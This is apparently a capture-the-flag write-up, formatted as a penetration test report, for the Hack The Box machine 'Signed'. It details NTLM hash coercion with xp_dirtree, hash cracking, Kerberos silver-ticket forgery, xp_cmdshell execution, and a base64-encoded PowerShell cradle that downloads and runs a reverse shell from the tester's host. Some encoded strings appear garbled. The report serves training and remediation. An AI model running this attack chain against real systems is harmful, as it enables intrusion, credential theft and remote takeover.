

PENETRATION TEST REPORT

HTB: Signed

ENGAGEMENT DETAILS

Prepared By	cac3r
Mode	HTB Machine
Flag Naming	user.txt / root.txt
Report Date	2026-08-18
Report Version	v1.0
Classification	PUBLIC

Table of Contents

- 1. Executive Summary.....3
- 2. Scope & Rules of Engagement.....5
- 3. Methodology.....6
- 4. Attack Narrative.....7
- 5. Vulnerability Findings.....17
- 6. Post-Exploitation & Loot.....19
- 7. Remediation Summary.....20
- 8. Appendices.....21

1. Executive Summary

1.1 Engagement Overview

This report documents the findings from a penetration test conducted against a HTB environment. The assessment simulates a real-world attack and progresses from initial access through to full host compromise. Starting position: Assumed-breach with low-privileged credentials.

1.2 Objectives

- Identify and exploit vulnerabilities across all in-scope hosts
- Escalate privileges to administrative/root level where possible
- Demonstrate tangible business impact of each vulnerability
- Provide clear, actionable remediation guidance

1.3 High-Level Results

Total Hosts in Scope	1
Hosts Compromised	1
user.txt captured	1 / 1
root.txt captured	1 / 1
Critical Vulnerabilities	1
High Vulnerabilities	1

1.4 Attack Path Summary

```
[scott]                low-priv domain user, authenticates to MSSQL (1433)
|
v
[MSSQL access]         xp_dirtree → coerce service account to auth to us
|
v
[Capture hash]         mssqlsvc NetNTLMv2 hash captured (Responder)
|
v
[Crack password]       hashcat + rockyou → mssqlsvc plaintext
|
v
[Forge Kerberos ticket] service key + domain SID + inject "IT" group
|
v
[SQL sysadmin]         ticket grants dbo/sysadmin in SQL Server
|
v
[Code exec / file read] xp_cmdshell (shell → user.txt)
                        OPENROWSET BULK (read root.txt)
```

2. Scope & Rules of Engagement

2.1 In-Scope Targets

IP Address	Hostname	OS	Status
10.129.50.149	DC01	Microsoft SQL Server 2022	Compromised ✓

2.2 Out-of-Scope

- Denial of Service (DoS/DDoS) attacks
- Physical security attacks
- Any hosts not listed in the in-scope table above

2.3 Testing Timeframe

Start Date/Time	2026-08-18 09:30 UTC
End Date/Time	2026-08-18 12:40 UTC
Total Time	3 h 10 min

3. Methodology

3.1 Framework

The assessment followed the PTES (Penetration Testing Execution Standard) framework, progressing through the phases below:

- **Reconnaissance** — passive & active information gathering
- **Scanning & Enumeration** — port scanning, service fingerprinting, share/AD enumeration
- **Exploitation** — targeted exploitation of identified weaknesses
- **Post-Exploitation** — privilege escalation, lateral movement, credential harvesting
- **Reporting** — documentation of findings and remediation guidance

3.2 Tools Used

Tool	Purpose
Nmap	Network discovery and port/service scanning
NetExec (nxc)	Multi-protocol AD actions and credential validation
Responder	LLMNR, NBT-NS and MDNS poisoner
Hashcat	World's fastest and most advanced password recovery utility
Impacket suite	AD tooling (mssqlclient, ticketer, etc.)

4. Attack Narrative

4.1 Host: DC01 — 10.129.50.149

Phase 1: Network Reconnaissance

Full TCP port sweep:

```
nmap -p- -n -Pn -vv --min-rate=5000 10.129.50.149 -oG network/nmap_ports.txt
```

```
PORT      STATE SERVICE
1433/tcp  open  ms-sql-s
```

Targeted service/version scan on discovered ports:

```
nmap -p1433 -sCV -Pn --min-rate=5000 10.129.50.149 -oN network/nmap_service.txt
```

```
PORT      STATE SERVICE  VERSION
1433/tcp  open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00 RTM
| ms-sql-ntlm-info:
|   10.129.50.149:1433:
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|     Product_Version: 10.0.17763
|_  ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-08-18T07:55:53
|_ Not valid after: 2056-08-18T07:55:53
|_ ssl-date: 2026-08-18T07:58:27+00:00; -1s from scanner time.
| ms-sql-info:
|   10.129.50.149:1433:
|     Version:
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_   TCP port: 1433
```

Key findings

- Port 1433 - MSSQL open
- Domain: SIGNED.HTB
- Hostname: DC01
- OS: Microsoft SQL Server 2022 16.00.1000.00

```
nxc mssql 10.129.50.149 -u 'scott' -p 'Sm230#C5NatH' --local-auth
```

```
MSSQL 10.129.50.149 1433 DC01 [+] DC01\scott:Sm230#C5NatH
```

```
impacket-mssqlclient 'scott:Sm230#C5NatH@signed.htb'
```

```
SQL (scott guest@master)>
```

enum_db

name	is_trustworthy_on
master	0
tempdb	0
model	0
msdb	1

```
sudo responder -I tun0
```

```
xp_dirtree \\10.10.14.132\something
```

[illegible]

Cracking the hash:

```
hashcat -m 5600 signed.htb.mssqlsvc.hash rockyou.txt
```

```
MSSQLSVC::SIGNED:f79860a22f10ef22:f45c1b85ca5151c66931e58a169101ee:0101000000000000
00080afa884c72edd01f097ccad3e06a07300000000020008004a004f0056004b0001001e0057004
9004e002d00410044005200530055005200590057004f004600560004003400570049004e002d004
10044005200530055005200590057004f00460056002e004a004f0056004b002e004c004f0043004
1004c00030014004a004f0056004b002e004c004f00430041004c00050014004a004f0056004b002
e004c004f00430041004c000700080080afa884c72edd010600040002000000080030003000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
c53af160a00100000000000000000000000000000000000000000000000000000000000000000000
0002e00310030002e00310034002e00310033003200000000000000000000000000000000000000
0002e00310030002e00310034002e00310033003200000000000000000000000000000000000000
purPLE9795!@
```

Cracked. New credential set: mssqlsvc:purPLE9795!@

Access MSSQL:

```
impacket-mssqlclient signed/mssqlsvc:'purPLE9795!@'@10.129.50.149 -windows-auth
```

```
SQL (SIGNED\mssqlsvc guest@master)>
```

Enabling system command execution not possible and no actionable privileges found.

Enumerate Domain Users via RID brute forcing with NetExec:

```
nxc mssql 10.129.50.149 -u 'mssqlsvc' -p 'purPLE9795!@' --rid-brute
```

```
SIGNED\DC01$
SIGNED\DnsAdmins
SIGNED\DnsUpdateProxy
SIGNED\mssqlsvc
SIGNED\HR
SIGNED\IT
SIGNED\Finance
SIGNED\Developers
SIGNED\Support
SIGNED\oliver.mills
SIGNED\emma.clark
SIGNED\liam.wright
SIGNED\noah.adams
SIGNED\ava.morris
SIGNED\sophia.turner
SIGNED\james.morgan
SIGNED\mia.cooper
SIGNED\elijah.brooks
SIGNED\isabella.evans
SIGNED\lucas.murphy
SIGNED\william.johnson
SIGNED\charlotte.price
SIGNED\henry.bennett
SIGNED\amelia.kelly
SIGNED\jackson.gray
SIGNED\harper.diaz
SIGNED\SQLServer2005SQLBrowserUser$DC01
```

Copy output and convert to usable wordlist "user.txt":

```
cat intelligence/users.txt | awk '{print $6}' | tee intelligence/users.txt
```

Discover Domain SID - Run inside MSSQL shell:

```
select SUSER_SID('signed\administrator')
```

Domain SID bytes: 01050000000000005150000005b7bb0f398aa2245ad4a1ca4f4010000

Convert to readable SID with simple python scripting:

```
python3
from impacket.dcerpc.v5.dtypes import SID
raw_sid = '01050000000000005150000005b7bb0f398aa2245ad4a1ca4f4010000'
admin_sid = SID(bytes.fromhex(raw_sid))
admin_sid.formatCanonical()
```

```
>>> from impacket.dcerpc.v5.dtypes import SID
... raw_sid = '01050000000000005150000005b7bb0f398aa2245ad4a1ca4f4010000'
... admin_sid = SID(bytes.fromhex(raw_sid))
... admin_sid.formatCanonical()
...
'S-1-5-21-4088429403-1159899800-2753317549-500'
>>>
```

Domain SID: S-1-5-21-4088429403-1159899800-2753317549-500

Bash script using Impacket ticketer to create silver ticket:

Need: SPN, Domain SID, Domain Name, NT Hash, Group IDs and User ID.

First convert known plaintext password to NT Hash:

```
echo -n 'purPLE9795!@' | iconv -t utf-16le | openssl md4 -provider legacy
```

```
└─$ echo -n 'purPLE9795!@' | iconv -t utf-16le | openssl md4 -provider legacy
MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc
```

NT Hash: ef699384c3285c54128a3ee1ddb1a0cc

Create script (ticketgen.sh):

```
impacket-ticketer \
    -spn Something/dc01.signed.htb \
    -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
    -domain signed.htb \
    -nthash ef699384c3285c54128a3ee1ddb1a0cc \
    -groups 512,513 \
    -user-id 500 \
    administrator
```

Run it:

```
./ticketgen.sh
```

```
[*] Saving ticket in administrator.ccache
```

Access MSSQL as administrator with ticket:

```
KRB5CCNAME=administrator.ccache impacket-mssqlclient -k -windows-auth
dc01.signed.htb
```

```
SQL (SIGNED\Administrator guest@master)>
```

Accessed as administrator but still guest session

Enumerate available sessions - Run inside MSSQL shell:

```
enum_logins
```

name	diskadmin	dbcreator	type_desc	is_disabled	sysadmin	securityadmin	serveradmin	setupadmin
sa	0	0	SQL_LOGIN	0	1	0	0	0
##MS_PolicyEventProcessingLogin##	0	0	SQL_LOGIN	1	0	0	0	0
##MS_PolicyTsqlExecutionLogin##	0	0	SQL_LOGIN	1	0	0	0	0
SIGNED\IT	0	0	WINDOWS_GROUP	0	1	0	0	0
NT SERVICE\SQLWriter	0	0	WINDOWS_LOGIN	0	1	0	0	0
NT SERVICE\Winmgmt	0	0	WINDOWS_LOGIN	0	1	0	0	0
NT SERVICE\MSSQLSERVER	0	0	WINDOWS_LOGIN	0	1	0	0	0
NT AUTHORITY\SYSTEM	0	0	WINDOWS_LOGIN	0	0	0	0	0
NT SERVICE\SQLSERVERAGENT	0	0	WINDOWS_LOGIN	0	1	0	0	0
NT SERVICE\SQLTELEMETRY	0	0	WINDOWS_LOGIN	0	0	0	0	0
scott	0	0	SQL_LOGIN	0	0	0	0	0
SIGNED\Domain Users	0	0	WINDOWS_GROUP	0	0	0	0	0

The group IT has sysadmin privilege

Discover IT Group SID identifier - Run inside MSSQL shell:

```
select SUSER_SID('signed\IT')
```

SID bytes: 0105000000000000051500000005b7bb0f398aa2245ad4a1ca451040000

Reuse python logic to convert to readable SID, input this new SID string:

```
python3
from impacket.dcerpc.v5.dtypes import SID
raw_sid = '0105000000000000051500000005b7bb0f398aa2245ad4a1ca451040000'
IT_sid = SID(bytes.fromhex(raw_sid))
IT_sid.formatCanonical()
```

```
$ python3
Python 3.13.12 (main, Feb 4 2026, 15:06:39) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from impacket.dcerpc.v5.dtypes import SID
... raw_sid = '0105000000000000051500000005b7bb0f398aa2245ad4a1ca451040000'
... IT_sid = SID(bytes.fromhex(raw_sid))
... IT_sid.formatCanonical()
...
'S-1-5-21-4088429403-1159899800-2753317549-1105'
```

Readable SID: S-1-5-21-4088429403-1159899800-2753317549-1105

IT Group Identifier: 1105

Phase 3: Initial Access — Silver Ticket, xp_cmdshell RCE

Add IT identifier to groups in the bash script to create new ticket:

```
impacket-ticketer \
  -spn Something/dc01.signed.htb \
  -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
  -domain signed.htb \
  -nthash ef699384c3285c54128a3ee1ddb1a0cc \
  -groups 512,513,1105 \
  -user-id 500 \
  administrator
```

Access MSSQL with new ticket:

```
KRB5CCNAME=administrator.ccache impacket-mssqlclient -k -windows-auth  
dc01.signed.htb
```

```
SQL (SIGNED\Administrator dbo@master)>
```

Now connected as dbo (database owner), with sysadmin rights.

Enable cmdshell - Run inside MSSQL shell:

```
enable_xp_cmdshell
```

```
Configuration option 'xp_cmdshell' changed from 0 to 1
```

Run commands - Run inside MSSQL shell:

```
xp_cmdshell <cmd>
```

(<cmd> is the placeholder for system commands)

Run whoami and ipconfig for context:

```
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell whoami  
output  
-----  
signed\mssqlsvc  
NULL  
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell ipconfig  
output  
-----  
NULL  
Windows IP Configuration  
NULL  
NULL  
Ethernet adapter Ethernet0:  
NULL  
    Connection-specific DNS Suffix  . : .htb  
    IPv6 Address. . . . . : dead:beef::404:bb07:f26f:8728  
    Link-local IPv6 Address . . . . . : fe80::7538:4526:5924:cb33%12  
    IPv4 Address. . . . . : 10.129.50.149  
    Subnet Mask . . . . . : 255.255.0.0  
    Default Gateway . . . . . : 10.129.0.1
```


Prepare Reverse Shell. Make a directory to serve files via HTTP (www/).

Copy nishang's Invoke-PowerShellTcpOneLine.ps1 to www/ directory and rename as shell.ps1.

Edit accordingly to attacker machine IP and preferred port.

```
('10.10.14.132',9001)
```

Make base64 encoded cradle:

```
echo -n "IEX(New-Object
Net.WebClient).downloadString('http://10.10.14.132:8000/shell.ps1')" | iconv -t
utf16le | base64 -w0
```

Result base64 string:

```
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAGwAaQB1AG4AdA
ApAC4AZABvAHcAbgBsAG8AYQBkAFMAdABYAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEEMAAu
ADEEMAAuADEANAAuADEAMwAyADoA0AAwADAAMAAvAHMAaAB1AGwAbAAuAHAACwAxACCcAKQA=
```

Start listener with rllwrap:

```
rllwrap nc -nlvp 9001
```

Start to serve files (shell.ps1) with python HTTP server (on www/ directory):

```
python3 -m http.server
```

Trigger connection – Run inside MSSQL shell:

```
xp_cmdshell powershell -encodedcommand
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAGwAaQB1AG4AdA
ApAC4AZABvAHcAbgBsAG8AYQBkAFMAdABYAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEEMAAu
ADEEMAAuADEANAAuADEAMwAyADoA0AAwADAAMAAvAHMAaAB1AGwAbAAuAHAACwAxACCcAKQA=
```

Press Enter on the listener tab to enter the shell.

Change directory to 'c:\users\mssqlsvc\desktop\'.

Flag — user.txt

Run context and proof of User level compromise:

```
whoami; ipconfig; type user.txt
```

```
PS C:\Users\mssqlsvc\Desktop> whoami; ipconfig; type user.txt
signed\mssqlsvc

Windows IP Configuration

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . : .htb
    IPv6 Address. . . . . : dead:beef::404:bb07:f26f:8728
    Link-local IPv6 Address . . . . . : fe80::7538:4526:5924:cb33%12
    IPv4 Address. . . . . : 10.129.50.149
    Subnet Mask . . . . . : 255.255.0.0
    Default Gateway . . . . . : 10.129.0.1
4600736bff97beed257e55899a75a181
```

Phase 4: "Phase 4: Privilege Escalation"

(In this phase there is no actual LPE. Just taking advantage of the mssqlsvc account rights to read the administrator directory)

Access MSSQL again with the administrator ticket:

```
KRB5CCNAME=administrator.ccache impacket-mssqlclient -k -windows-auth
dc01.signed.htb
```

Discover the mssqlsvc account SID Identifier - Run inside MSSQL shell:

```
select SUSER_SID('mssqlsvc')
```

SID bytes: 0105000000000000051500000005b7bb0f398aa2245ad4a1ca44f040000

Once again, use the python logic to decode the SID to readable format:

```
python3
from impacket.dcerpc.v5.dtypes import SID
raw_sid = '0105000000000000051500000005b7bb0f398aa2245ad4a1ca44f040000'
mssqlsvc_sid = SID(bytes.fromhex(raw_sid))
mssqlsvc_sid.formatCanonical()
```

Readable SID: S-1-5-21-4088429403-1159899800-2753317549-1103
 mssqlsvc Identifier: 1103

Edit the bash script (ticketgen.sh):

```
impacket-ticketer \
    -spn Something/dc01.signed.htb \
    -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
    -domain signed.htb \
    -nthash ef699384c3285c54128a3ee1ddb1a0cc \
    -groups 512,513, 1105 \
    -user-id 1103 \
    mssqlsvc
```

Run:

```
./ticketgen.sh
```

[*] Saving ticket in mssqlsvc.ccache

Connect to MSSQL with the ticket:

```
KRB5CCNAME=mssqlsvc.ccache impacket-mssqlclient -k -windows-auth
dc01.signed.htb
```

Flag — root.txt

Read the root.txt directly from MSSQL shell:

```
select * FROM openrowset(BULK 'c:\users\administrator\desktop\root.txt',
SINGLE_CLOB) as CONTENTS;
```

```
SQL (SIGNED\mssqlsvc dbo@master)> select * FROM openrowset(BULK 'c:\users\administrator\desktop\root.txt', SINGLE_CLOB) as C
ONTENTS;
BulkColumn
-----
b'ebcd1fe0603ae8e63b027f01a7535788\r\n'
```


5. Vulnerability Findings

5.1 [Critical] SQL Server Installed on Domain Controller

Severity	Critical
Affected Host	10.129.50.149 (DC01)
Port / Service	1433/tcp — Microsoft SQL Server 2022

Description

Microsoft SQL Server is running directly on the domain controller. Because the two roles share the same machine, anyone who gains control of the SQL service also gains the ability to read files and act in the context of the domain controller itself.

Impact

This is what turns a database compromise into a full domain compromise. Once the tester reached SQL sysadmin, the SQL service context was able to read the Administrator's files on the DC (including root . txt). In a real environment this would mean total control of the Active Directory domain.

Remediation

Never run SQL Server on a domain controller. Move the database to a dedicated member server, and run the SQL service under a least-privileged account with only the rights it needs.

References

<https://learn.microsoft.com/en-us/sql/sql-server/install/security-considerations-for-a-sql-server-installation>

5.2 [High] Weak SQL Service Account Password

Severity	High
Affected Host	10.129.50.149 (DC01)
Port / Service	1433/tcp — Microsoft SQL Server 2022

Description

The SQL service account (mssqlsvc) uses a weak password that was recovered offline. The tester captured the account's password hash and cracked it in seconds using a standard public wordlist (rockyou . txt).

Impact

The cracked password is the key that unlocks the rest of the attack. Knowing the service account's password let the tester forge Kerberos tickets and eventually reach SQL sysadmin. A weak service-account password effectively removes the protection Kerberos is supposed to provide.

Remediation

Use long, random passwords for service accounts. Better, migrate service accounts to group Managed Service Accounts (gMSA), which use long secure passwords that rotate automatically and cannot realistically be cracked offline.

References

<https://learn.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview>

6. Post-Exploitation & Loot

6.1 Credentials Harvested

Host	Username	Password / Hash	Privilege
10.129.50.149	scott	Sm230#C5NatH	Low (Assumed Breach credentials)
10.129.50.149	mssqlsvc	purPLE9795!@	Low-Medium

6.2 Flags Captured

Host	Flag Type	Value	Path
10.129.50.149	user.txt	4600736bff97beed257e55899a75a181	C:\Users\ mssqlsvc\ Desktop\
10.129.50.149	root.txt	ebcd1fe0603ae8e63b027f01a7535788	C:\Users\ Administrato r\Desktop\

7. Remediation Summary

Prioritised remediation roadmap. Critical and High items should be addressed within 24–72 hours; Medium within 30 days; Low within 90 days.

Finding	Severity	Effort	Priority
SQL Server Installed on Domain Controller	Critical	Low	1
Weak SQL Service Account Password	High	Low	2

8. Appendices

Appendix A — Proof of Compromise

```
PS C:\Users\mssqlsvc\Desktop> whoami; ipconfig; type user.txt
signed\mssqlsvc

Windows IP Configuration

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . : .htb
    IPv6 Address. . . . . : dead:beef::404:bb07:f26f:8728
    Link-local IPv6 Address . . . . . : fe80::7538:4526:5924:cb33%12
    IPv4 Address. . . . . : 10.129.50.149
    Subnet Mask . . . . . : 255.255.0.0
    Default Gateway . . . . . : 10.129.0.1
4600736bff97beed257e55899a75a181
```

```
SQL (SIGNED\mssqlsvc dbo@master)> select * FROM openrowset(BULK 'c:\users\administrator\desktop\root.txt', SINGLE_CLOB) as C
ONTENTS;
BulkColumn
-----
b'ebcd1fe0603ae8e63b027f01a7535788\r\n'
```

Appendix B — Glossary

CVE Common Vulnerabilities and Exposures — reference for known vulnerabilities.

RCE Remote Code Execution — running arbitrary commands on a remote system.

LPE Local Privilege Escalation — raising privileges on an already-accessed system.